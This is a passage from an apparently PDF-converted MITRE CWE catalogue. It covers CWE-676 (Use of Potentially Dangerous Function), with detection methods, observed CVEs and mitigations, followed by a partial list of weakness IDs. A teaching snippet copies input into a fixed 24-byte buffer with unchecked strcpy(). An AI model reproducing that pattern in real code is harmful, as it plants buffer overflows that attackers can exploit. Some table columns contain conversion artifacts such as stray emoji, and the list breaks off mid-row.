<td>764</td>
<td>Multiple Locks of a Critical Resource</td>
<td>1171</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>765</td>
<td>Multiple Unlocks of a Critical Resource</td>
<td>1172</td>
</tr>
</tbody>
</table>

Relationship Notes
This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).

Relevant Properties
- Uniqueness

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO31-C</td>
<td>Do not simultaneously open the same file multiple times</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO31-CPP</td>
<td>Do not simultaneously open the same file multiple times</td>
</tr>
</tbody>
</table>

CWE-676: Use of Potentially Dangerous Function

Weakness ID: 676 (Weakness Base)
Status: Draft

Description

Summary
The program invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- C
- C++

Common Consequences
- Other
- Varies by context
- Quality degradation
- Unexpected state
  If the function is used incorrectly, then it could result in security problems.
Likelihood of Exploit
High

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis
- Cost effective for partial coverage:
  - Binary / Bytecode Quality Analysis
  - Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Debugger
- Cost effective for partial coverage:
  - Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Manual Source Code Review (not inspections)
- Cost effective for partial coverage:
  - Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer
- Cost effective for partial coverage:
  - Warning Flags
  - Source Code Quality Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Origin Analysis
CWE Version 2.11
CWE-676: Use of Potentially Dangerous Function

Architecture / Design Review
SOAR High
    According to SOAR, the following detection techniques may be useful:
    Highly cost effective:
        Formal Methods / Correct-By-Construction
            Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

C Example:

```c
void manipulate_string(char * string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-0963</td>
<td>Buffer overflow using strcpy()</td>
</tr>
<tr>
<td>CVE-2006-2114</td>
<td>Buffer overflow using strcpy()</td>
</tr>
<tr>
<td>CVE-2007-1470</td>
<td>Library has multiple buffer overflows using sprintf() and strcpy()</td>
</tr>
<tr>
<td>CVE-2008-5005</td>
<td>Buffer overflow using strcpy()</td>
</tr>
<tr>
<td>CVE-2009-3849</td>
<td>Buffer overflow using strcat()</td>
</tr>
<tr>
<td>CVE-2011-0712</td>
<td>Vulnerable use of strcpy() changed to use safer strlcpy()</td>
</tr>
</tbody>
</table>

Potential Mitigations

Build and Compilation
Implementation
Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [R.676.1] [R.676.2]

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>0</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>746</td>
<td>CERT C Secure Coding Section 12 - Error Handling (ERR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>865</td>
<td>2011 Top 25 - Risky Resource Management</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>0</td>
<td>785</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Relationship Notes
This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to
be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>ERR07-C</td>
<td>Prefer functions that support error checking over equivalent functions that don't</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO01-C</td>
<td>Be careful using functions that use file names for identification</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT06-C</td>
<td>Use strtol() or a related function to convert a string token to an integer</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT06-CPP</td>
<td>Use strtol() or a related function to convert a string token to an integer</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO01-CPP</td>
<td>Be careful using functions that use file names for identification</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

References

### CWE-677: Weakness Base Elements

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>🔴</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>🔴</td>
<td>88</td>
<td>Argument Injection or Modification</td>
</tr>
<tr>
<td>🔴</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>🔴</td>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
</tr>
<tr>
<td>🔴</td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
</tr>
<tr>
<td>🔴</td>
<td>92</td>
<td>DEPRECATED: Improper Sanitization of Custom Special Characters</td>
</tr>
<tr>
<td>🔴</td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
</tr>
<tr>
<td>🔴</td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
</tr>
<tr>
<td>🔴</td>
<td>96</td>
<td>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</td>
</tr>
<tr>
<td>🔴</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
</tr>
<tr>
<td>🔴</td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
</tr>
<tr>
<td>🔴</td>
<td>111</td>
<td>Direct Use of Unsafe JNI</td>
</tr>
<tr>
<td>🔴</td>
<td>112</td>
<td>Missing XML Validation</td>
</tr>
<tr>
<td>🔴</td>
<td>113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</td>
</tr>
<tr>
<td>🔴</td>
<td>114</td>
<td>Process Control</td>
</tr>
<tr>
<td>🔴</td>
<td>115</td>
<td>Misinterpretation of Input</td>
</tr>
<tr>
<td>🔴</td>
<td>117</td>
<td>Improper Output Neutralization for Logs</td>
</tr>
<tr>
<td>🔴</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>🔴</td>
<td>123</td>
<td>Write-what-where Condition</td>
</tr>
<tr>
<td>🔴</td>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
</tr>
<tr>
<td>🔴</td>
<td>125</td>
<td>Out-of-bounds Read</td>
</tr>
<tr>
<td>🔴</td>
<td>128</td>
<td>Wrap-around Error</td>
</tr>
<tr>
<td>🔴</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
</tr>
<tr>
<td>🔴</td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
</tr>
<tr>
<td>🔴</td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
</tr>
<tr>
<td>🔴</td>
<td>132</td>
<td>DEPRECATED (Duplicate): Miscalculated Null Termination</td>
</tr>
<tr>
<td>🔴</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
</tr>
<tr>
<td>🔴</td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
</tr>
<tr>
<td>🔴</td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
</tr>
<tr>
<td>🔴</td>
<td>166</td>
<td>Improper Handling of Missing Special Element</td>
</tr>
<tr>
<td>🔴</td>
<td>167</td>
<td>Improper Handling of Additional Special Element</td>
</tr>
<tr>
<td>🔴</td>
<td>168</td>
<td>Improper Handling of Inconsistent Special Elements</td>
</tr>
<tr>
<td>🔴</td>
<td>170</td>
<td>Improper Null Termination</td>
</tr>
<tr>
<td>🔴</td>
<td>178</td>
<td>Improper Handling of Case Sensitivity</td>
</tr>
<tr>
<td>🔴</td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
</tr>
<tr>
<td>🔴</td>
<td>180</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
</tr>
<tr>
<td>🔴</td>
<td>181</td>
<td>Incorrect Behavior Order: Validate Before Filter</td>
</tr>
<tr>
<td>🔴</td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
</tr>
<tr>
<td>🔴</td>
<td>183</td>
<td>Permissive Whitelist</td>
</tr>
<tr>
<td>🔴</td>
<td>184</td>
<td>Incomplete Blacklist</td>
</tr>
<tr>
<td>🔴</td>
<td>186</td>
<td>Overly Restrictive Regular Expression</td>
</tr>
<tr>
<td>🔴</td>
<td>187</td>
<td>Partial Comparison</td>
</tr>
<tr>
<td>🔴</td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
</tr>
<tr>
<td>🔴</td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
</tr>
<tr>
<td>🔴</td>
<td>191</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
</tr>
<tr>
<td>🔴</td>
<td>193</td>
<td>Off-by-one Error</td>
</tr>
<tr>
<td>🔴</td>
<td>194</td>
<td>Unexpected Sign Extension</td>
</tr>
<tr>
<td>🔴</td>
<td>197</td>
<td>Numeric Truncation Error</td>
</tr>
<tr>
<td>🔴</td>
<td>198</td>
<td>Use of Incorrect Byte Ordering</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>--------------------------------------------------------</td>
</tr>
<tr>
<td>🆕️</td>
<td>204</td>
<td>Response Discrepancy Information Exposure</td>
</tr>
<tr>
<td>🆕️</td>
<td>205</td>
<td>Information Exposure Through Behavioral Discrepancy</td>
</tr>
<tr>
<td>🆕️</td>
<td>208</td>
<td>Information Exposure Through Timing Discrepancy</td>
</tr>
<tr>
<td>🆕️</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
</tr>
<tr>
<td>🆕️</td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
</tr>
<tr>
<td>🆕️</td>
<td>211</td>
<td>Information Exposure Through Externally-generated Error Message</td>
</tr>
<tr>
<td>🆕️</td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
</tr>
<tr>
<td>🆕️</td>
<td>213</td>
<td>Intentional Information Exposure</td>
</tr>
<tr>
<td>🆕️</td>
<td>217</td>
<td>DEPRECATED: Failure to Protect Stored Data from Modification</td>
</tr>
<tr>
<td>🆕️</td>
<td>218</td>
<td>DEPRECATED (Duplicate): Failure to provide confidentiality for stored data</td>
</tr>
<tr>
<td>🆕️</td>
<td>222</td>
<td>Truncation of Security-relevant Information</td>
</tr>
<tr>
<td>🆕️</td>
<td>223</td>
<td>Omission of Security-relevant Information</td>
</tr>
<tr>
<td>🆕️</td>
<td>224</td>
<td>Obscured Security-relevant Information by Alternate Name</td>
</tr>
<tr>
<td>🆕️</td>
<td>225</td>
<td>DEPRECATED (Duplicate): General Information Management Problems</td>
</tr>
<tr>
<td>🆕️</td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
</tr>
<tr>
<td>🆕️</td>
<td>229</td>
<td>Improper Handling of Values</td>
</tr>
<tr>
<td>🆕️</td>
<td>233</td>
<td>Improper Handling of Parameters</td>
</tr>
<tr>
<td>🆕️</td>
<td>237</td>
<td>Improper Handling of Structural Elements</td>
</tr>
<tr>
<td>🆕️</td>
<td>241</td>
<td>Improper Handling of Unexpected Data Type</td>
</tr>
<tr>
<td>🆕️</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
</tr>
<tr>
<td>🆕️</td>
<td>247</td>
<td>DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision</td>
</tr>
<tr>
<td>🆕️</td>
<td>248</td>
<td>Uncaught Exception</td>
</tr>
<tr>
<td>🆕️</td>
<td>252</td>
<td>Unchecked Return Value</td>
</tr>
<tr>
<td>🆕️</td>
<td>253</td>
<td>Incorrect Check of Function Return Value</td>
</tr>
<tr>
<td>🆕️</td>
<td>257</td>
<td>Storing Passwords in a Recoverable Format</td>
</tr>
<tr>
<td>🆕️</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
</tr>
<tr>
<td>🆕️</td>
<td>263</td>
<td>Password Aging with Long Expiration</td>
</tr>
<tr>
<td>🆕️</td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
</tr>
<tr>
<td>🆕️</td>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
</tr>
<tr>
<td>🆕️</td>
<td>268</td>
<td>Privilege Chaining</td>
</tr>
<tr>
<td>🆕️</td>
<td>269</td>
<td>Improper Privilege Management</td>
</tr>
<tr>
<td>🆕️</td>
<td>270</td>
<td>Privilege Context Switching Error</td>
</tr>
<tr>
<td>🆕️</td>
<td>272</td>
<td>Least Privilege Violation</td>
</tr>
<tr>
<td>🆕️</td>
<td>273</td>
<td>Improper Check for Dropped Privileges</td>
</tr>
<tr>
<td>🆕️</td>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
</tr>
<tr>
<td>🆕️</td>
<td>280</td>
<td>Improper Handling of Insufficient Permissions or Privileges</td>
</tr>
<tr>
<td>🆕️</td>
<td>281</td>
<td>Improper Preservation of Permissions</td>
</tr>
<tr>
<td>🆕️</td>
<td>283</td>
<td>Unverified Ownership</td>
</tr>
<tr>
<td>🆕️</td>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
</tr>
<tr>
<td>🆕️</td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
</tr>
<tr>
<td>🆕️</td>
<td>294</td>
<td>Authentication Bypass by Capture-replay</td>
</tr>
<tr>
<td>🆕️</td>
<td>295</td>
<td>Improper Certificate Validation</td>
</tr>
<tr>
<td>🆕️</td>
<td>296</td>
<td>Improper Following of a Certificate’s Chain of Trust</td>
</tr>
<tr>
<td>🆕️</td>
<td>303</td>
<td>Incorrect Implementation of Authentication Algorithm</td>
</tr>
<tr>
<td>🆕️</td>
<td>304</td>
<td>Missing Critical Step in Authentication</td>
</tr>
<tr>
<td>🆕️</td>
<td>305</td>
<td>Authentication Bypass by Primary Weakness</td>
</tr>
<tr>
<td>🆕️</td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
</tr>
<tr>
<td>🆕️</td>
<td>308</td>
<td>Use of Single-factor Authentication</td>
</tr>
<tr>
<td>🆕️</td>
<td>309</td>
<td>Use of Password System for Primary Authentication</td>
</tr>
<tr>
<td>🆕️</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>🆕️</td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
</tr>
<tr>
<td></td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
</tr>
<tr>
<td></td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
</tr>
<tr>
<td></td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
</tr>
<tr>
<td></td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
</tr>
<tr>
<td></td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
</tr>
<tr>
<td></td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
</tr>
<tr>
<td></td>
<td>328</td>
<td>Reversible One-Way Hash</td>
</tr>
<tr>
<td></td>
<td>331</td>
<td>Insufficient Entropy</td>
</tr>
<tr>
<td></td>
<td>334</td>
<td>Small Space of Random Values</td>
</tr>
<tr>
<td></td>
<td>336</td>
<td>Same Seed in PRNG</td>
</tr>
<tr>
<td></td>
<td>337</td>
<td>Predictable Seed in PRNG</td>
</tr>
<tr>
<td></td>
<td>338</td>
<td>Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)</td>
</tr>
<tr>
<td></td>
<td>339</td>
<td>Small Seed Space in PRNG</td>
</tr>
<tr>
<td></td>
<td>341</td>
<td>Predictable from Observable State</td>
</tr>
<tr>
<td></td>
<td>342</td>
<td>Predictable Exact Value from Previous Values</td>
</tr>
<tr>
<td></td>
<td>343</td>
<td>Predictable Value Range from Previous Values</td>
</tr>
<tr>
<td></td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
</tr>
<tr>
<td></td>
<td>346</td>
<td>Origin Validation Error</td>
</tr>
<tr>
<td></td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
</tr>
<tr>
<td></td>
<td>348</td>
<td>Use of Less Trusted Source</td>
</tr>
<tr>
<td></td>
<td>349</td>
<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
</tr>
<tr>
<td></td>
<td>351</td>
<td>Insufficient Type Distinction</td>
</tr>
<tr>
<td></td>
<td>353</td>
<td>Missing Support for Integrity Check</td>
</tr>
<tr>
<td></td>
<td>354</td>
<td>Improper Validation of Integrity Check Value</td>
</tr>
<tr>
<td></td>
<td>356</td>
<td>Product UI does not Warn User of Unsafe Actions</td>
</tr>
<tr>
<td></td>
<td>357</td>
<td>Insufficient UI Warning of Dangerous Operations</td>
</tr>
<tr>
<td></td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
</tr>
<tr>
<td></td>
<td>360</td>
<td>Trust of System Event Data</td>
</tr>
<tr>
<td></td>
<td>363</td>
<td>Race Condition Enabling Link Following</td>
</tr>
<tr>
<td></td>
<td>364</td>
<td>Signal Handler Race Condition</td>
</tr>
<tr>
<td></td>
<td>365</td>
<td>Race Condition in Switch</td>
</tr>
<tr>
<td></td>
<td>366</td>
<td>Race Condition within a Thread</td>
</tr>
<tr>
<td></td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
</tr>
<tr>
<td></td>
<td>368</td>
<td>Context Switching Race Condition</td>
</tr>
<tr>
<td></td>
<td>369</td>
<td>Divide By Zero</td>
</tr>
<tr>
<td></td>
<td>370</td>
<td>Missing Check for Certificate Revocation after Initial Check</td>
</tr>
<tr>
<td></td>
<td>372</td>
<td>Incomplete Internal State Distinction</td>
</tr>
<tr>
<td></td>
<td>373</td>
<td>DEPRECATED: State Synchronization Error</td>
</tr>
<tr>
<td></td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
</tr>
<tr>
<td></td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
</tr>
<tr>
<td></td>
<td>377</td>
<td>Insecure Temporary File</td>
</tr>
<tr>
<td></td>
<td>378</td>
<td>Creation of Temporary File With Insecure Permissions</td>
</tr>
<tr>
<td></td>
<td>379</td>
<td>Creation of Temporary File in Directory with Incorrect Permissions</td>
</tr>
<tr>
<td></td>
<td>385</td>
<td>Covert Timing Channel</td>
</tr>
<tr>
<td></td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
</tr>
<tr>
<td></td>
<td>391</td>
<td>Unchecked Error Condition</td>
</tr>
<tr>
<td></td>
<td>392</td>
<td>Missing Report of Error Condition</td>
</tr>
<tr>
<td></td>
<td>393</td>
<td>Return of Wrong Status Code</td>
</tr>
<tr>
<td></td>
<td>394</td>
<td>Unexpected Status Code or Return Value</td>
</tr>
<tr>
<td></td>
<td>395</td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td>0</td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
</tr>
<tr>
<td>0</td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
</tr>
<tr>
<td>0</td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
</tr>
<tr>
<td>0</td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
</tr>
<tr>
<td>0</td>
<td>403</td>
<td>Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')</td>
</tr>
<tr>
<td>0</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
</tr>
<tr>
<td>0</td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
</tr>
<tr>
<td>0</td>
<td>407</td>
<td>Algorithmic Complexity</td>
</tr>
<tr>
<td>0</td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
</tr>
<tr>
<td>0</td>
<td>409</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
</tr>
<tr>
<td>0</td>
<td>410</td>
<td>Insufficient Resource Pool</td>
</tr>
<tr>
<td>0</td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
</tr>
<tr>
<td>0</td>
<td>413</td>
<td>Improper Resource Locking</td>
</tr>
<tr>
<td>0</td>
<td>414</td>
<td>Missing Lock Check</td>
</tr>
<tr>
<td>0</td>
<td>416</td>
<td>Use After Free</td>
</tr>
<tr>
<td>0</td>
<td>419</td>
<td>Unprotected Primary Channel</td>
</tr>
<tr>
<td>0</td>
<td>420</td>
<td>Unprotected Alternate Channel</td>
</tr>
<tr>
<td>0</td>
<td>421</td>
<td>Race Condition During Access to Alternate Channel</td>
</tr>
<tr>
<td>0</td>
<td>423</td>
<td>DEPRECATED (Duplicate): Proxied Trusted Channel</td>
</tr>
<tr>
<td>0</td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
</tr>
<tr>
<td>0</td>
<td>427</td>
<td>Uncontrolled Search Path Element</td>
</tr>
<tr>
<td>0</td>
<td>428</td>
<td>Unquoted Search Path or Element</td>
</tr>
<tr>
<td>0</td>
<td>430</td>
<td>Deployment of Wrong Handler</td>
</tr>
<tr>
<td>0</td>
<td>431</td>
<td>Missing Handler</td>
</tr>
<tr>
<td>0</td>
<td>432</td>
<td>Dangerous Signal Handler not Disabled During Sensitive Operations</td>
</tr>
<tr>
<td>0</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>0</td>
<td>436</td>
<td>Interpretation Conflict</td>
</tr>
<tr>
<td>0</td>
<td>437</td>
<td>Incomplete Model of Endpoint Features</td>
</tr>
<tr>
<td>0</td>
<td>439</td>
<td>Behavioral Change in New Version or Environment</td>
</tr>
<tr>
<td>0</td>
<td>440</td>
<td>Expected Behavior Violation</td>
</tr>
<tr>
<td>0</td>
<td>443</td>
<td>DEPRECATED (Duplicate): HTTP response splitting</td>
</tr>
<tr>
<td>0</td>
<td>444</td>
<td>Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')</td>
</tr>
<tr>
<td>0</td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
</tr>
<tr>
<td>0</td>
<td>447</td>
<td>Unimplemented or Unsupported Feature in UI</td>
</tr>
<tr>
<td>0</td>
<td>448</td>
<td>Obsolete Feature in UI</td>
</tr>
<tr>
<td>0</td>
<td>449</td>
<td>The UI Performs the Wrong Action</td>
</tr>
<tr>
<td>0</td>
<td>450</td>
<td>Multiple Interpretations of UI Input</td>
</tr>
<tr>
<td>0</td>
<td>451</td>
<td>User Interface (UI) Misrepresentation of Critical Information</td>
</tr>
<tr>
<td>0</td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
</tr>
<tr>
<td>0</td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
</tr>
<tr>
<td>0</td>
<td>455</td>
<td>Non-exit on Failed Initialization</td>
</tr>
<tr>
<td>0</td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
</tr>
<tr>
<td>0</td>
<td>458</td>
<td>DEPRECATED: Incorrect Initialization</td>
</tr>
<tr>
<td>0</td>
<td>459</td>
<td>Incomplete Cleanup</td>
</tr>
<tr>
<td>0</td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
</tr>
<tr>
<td>0</td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
</tr>
<tr>
<td>0</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
</tr>
<tr>
<td>0</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
</tr>
<tr>
<td>0</td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
</tr>
<tr>
<td>0</td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
</tr>
<tr>
<td>0</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td>B</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
</tr>
<tr>
<td>B</td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
</tr>
<tr>
<td>B</td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
</tr>
<tr>
<td>B</td>
<td>475</td>
<td>Undefined Behavior for Input to API</td>
</tr>
<tr>
<td>B</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
</tr>
<tr>
<td>B</td>
<td>477</td>
<td>Use of Obsolete Functions</td>
</tr>
<tr>
<td>B</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
</tr>
<tr>
<td>B</td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
</tr>
<tr>
<td>B</td>
<td>489</td>
<td>Leftover Debug Code</td>
</tr>
<tr>
<td>B</td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>B</td>
<td>501</td>
<td>Trust Boundary Violation</td>
</tr>
<tr>
<td>B</td>
<td>507</td>
<td>Trojan Horse</td>
</tr>
<tr>
<td>B</td>
<td>508</td>
<td>Non-Replicating Malicious Code</td>
</tr>
<tr>
<td>B</td>
<td>509</td>
<td>Replicating Malicious Code (Virus or Worm)</td>
</tr>
<tr>
<td>B</td>
<td>510</td>
<td>Trapdoor</td>
</tr>
<tr>
<td>B</td>
<td>511</td>
<td>Logic/Time Bomb</td>
</tr>
<tr>
<td>B</td>
<td>512</td>
<td>Spyware</td>
</tr>
<tr>
<td>B</td>
<td>515</td>
<td>Covert Storage Channel</td>
</tr>
<tr>
<td>Q</td>
<td>516</td>
